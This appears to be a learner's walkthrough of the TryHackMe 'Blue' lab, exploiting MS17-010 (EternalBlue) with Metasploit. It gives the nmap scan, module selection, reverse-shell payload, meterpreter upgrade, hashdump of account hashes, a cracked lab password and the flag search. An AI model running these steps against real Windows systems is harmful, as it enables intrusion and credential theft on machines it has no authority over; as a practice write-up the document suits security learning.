Blue

So in this room using blue is also to be used in conjunction with metasploit, which it has been a while since I last used it so It really does feel foreign! That's the very big problem with all this information, it doesn't last long if there is no real application.

So firstly, we are surrounding our findings here using NMAP to recon our target system, I did this by using the following command:

```
nmap -sS 10.10.28.90
```

What this does it use network mapper stealth scan on the target IP to silently give us the ports that are open which we can then use to launch an exploit.

In this case there are 3 ports that are included under 1000 of the frequently used ports. I also discovered that this machine is vulnerable to MS17-010, by EternalBlue hence the name relevance!

Next with the information we have acquired we need to gain access to the system. This must be done systematically as this is where my knowledge completely vanishes.

So I first run the following command:

```
exploit/windows/smb/ms17_010_eternalblue
```

```
show options
```

I can see that I need to set the RHOST value, to ensure this is configured see below.

Once this is done I will then set the RHOST (Remote host of the TARGET system.)

```
set RHOSTS 10.10.28.90
```

Once this is done and configured, I can then prep the payload.

```
set payload windows/x64/shell/reverse_tcp
```

Once this is done I simply

```
run
```

The command and the exploit will run. This will send a buffer and will take a minute to get a response.

I now have a meterpreter session! Now we need to escalate the privilege.

At this stage I set the meterpreter session to background.

Once this is done we need to setup a post to transfer the shell into a meteterpreter shell.
post/multi/manage/shell_to_meterpreter

show options
This allows me to see the configuration of the shell. I can see the LHOST has not been configured. Doesn't necessarily need to be done but I will do it.
set LHOST 10.10.157.250
This is my attackbox local IP.

I can then run the command and it will run the previous commands.

sessions 1
Will take us back to the meterpreter. If I do the command: sysinfo it will show me the current configuration of the PC, in this case who we are logged in as and the system information such as domain info. In this case we are logged in as **Jon** user.

If I do the command
shell
whoami
This will identify who we are in the directory, in this case we are nt authority/system32 which is great.
We can list all the processes running as the user doing:
ps
Will list all active running processes.
We can also use
exit
Which will put us back in meterpreter:
hashdump
Because we are currently the escalated user using the shell. Will give us the hash of the password Jon has as well as the other users too which is very handy!

I ran the following hash through https://hashes.com/en/decrypt/hash
This gave me jons password:
alqfna22
I then did the same for the other users just because I can!
Jon:alqfna22
Administrator:
Guest:
Despite the hashes there were no other passwords!

Going back to the root of the C drive we can start trying to find flags.

```
cd C:\\
```

I see there is a file called flag1.txt

```
cat flag1.txt
```

Then I will search other users to identify the next flag

```
cd Users
cd Jon
cd Documents
cat flag3.txt
```

I couldn’t seem to find flag2.txt so I searched it instead:

```
search -f flag2.txt
```

Success! I found the place of where it was hiding.

```
C:\Windows\System32\config\flag2.txt
```

I navigated to the directory and found the final flag!

Conclusion:

I know I have done these similar things before especially in the shell modules on THM, but it is important to remember that without proper usage and frequent applications it is very easy for information to be lost in translation. Though I remember doing this before it was very nice to revisit this so I can apply more of my knowledge to it as well as refresh me as to what was being done and why. Shells can be complicated but with the more use I have doing it the easier it becomes to navigate.